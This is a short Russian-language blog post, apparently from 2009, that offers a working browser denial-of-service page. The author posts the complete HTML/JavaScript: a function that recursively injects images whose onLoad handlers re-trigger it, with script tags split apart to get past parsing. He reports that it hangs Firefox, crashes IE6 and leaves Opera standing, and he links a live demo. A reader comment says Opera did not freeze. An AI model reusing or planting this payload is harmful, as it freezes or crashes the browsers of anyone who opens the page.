Искал утечку памяти в опере.. В итоге опера стабильно всё обрабатывает и останавливается после ~минуты лагов, а последний ФФ виснет намертво. Утечки памяти нету, но зависает браузер.. ИЕ 6 просто выпадает. Сам код:
<html> <body> <form name="a" > <div id="d"> <input type="button" id="add"><br><br> <img border='0' src='1.gif' onLoad='add();'> </div> </form> <script language="javascript"> function add(){ div=document.getElementById("d"); button=document.getElementById("add"); newitem="<a target='_blank' "; newitem+="href='http://mrthe.name/'>"; newitem+="<img border='0' src='1.gif' onLoad='add();'></a>"; newitem+="<scri"; newitem+="pt>add();</sc"; newitem+="ript>"; newnode=document.createElement("span"); newnode.innerHTML=newitem; div.insertBefore(newnode,button); add(); } add(); </script> </body> </html>
По результатам из browsershots видно, что только опера,некоторые версии сафари, хром(похоже, что тоже не все версии) и старые версии фф обрабатывают скрипт без зависания.
Демо - http://mrthe.name/dos/
Похожие записи:
октября 7, 2009 at 15:44
У меня Опера! Не зависл!